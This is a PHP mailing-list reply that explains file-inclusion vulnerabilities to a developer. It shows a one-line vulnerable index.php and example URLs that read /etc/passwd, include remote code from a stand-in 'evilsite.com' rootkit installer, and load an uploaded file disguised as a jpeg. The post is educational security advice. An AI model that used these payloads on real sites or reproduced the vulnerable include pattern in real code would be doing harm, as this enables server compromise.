Dave M G wrote: > Larry, > > Thank you for responding. >> >> $untrusted_var = '../../../../../../../etc/passwd'; >> include($untrusted_var); >> >> Or in later versions of PHP, I *think* the following may even work: >> >> $untrusted_var = 'http://evilsite.com/pub/evil.php'; >> include($untrusted_var); > > I'm still not sure I see the danger. By which I'm not saying that I deny > there is danger, just that I don't see this. > > In both cases cited above, the malicious user has to write the code into > my script that says to include($untrusted_var). And, again, it seems to > me that if the malicious user has made it far enough to gain enough > access to be able to do that, the damage is already done. They already > have full access and full write capability, and could do any number of > crazy things. > > I understand that I am being warned of a potential security risk, and I > hope to come to understand it. But can someone show me more explicitly > how someone could exploit a dynamic include() function with simple > access through forms? And, can that access be exploited even when fairly > common restrictions on form data is implemented (such as no tags and such)? ::index.php <?php include $_GET['page']; ?> ::urls (ignore the fact that stuff would need to be urlencoded..) http://yoursite.com/index.php?page=/etc/passwd http://yoursite.com/index.php?page=http://evilsite.com/installrootkit.php that is the most simple version of the problem, now consider that people can use security bugs in 3rd party apps to upload php files (or complete [scam] sites) which may not be directly accessible (e.g. in ../uploads relative to the webroot) then they may be able to do stuff like: http://yoursite.com/index.php?page=../uploads/rootkitinstallingphpfilepretendingtobeajpeg.jpg and what goes for GET also goes for POST and COOKIE. > > -- > Dave M G > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
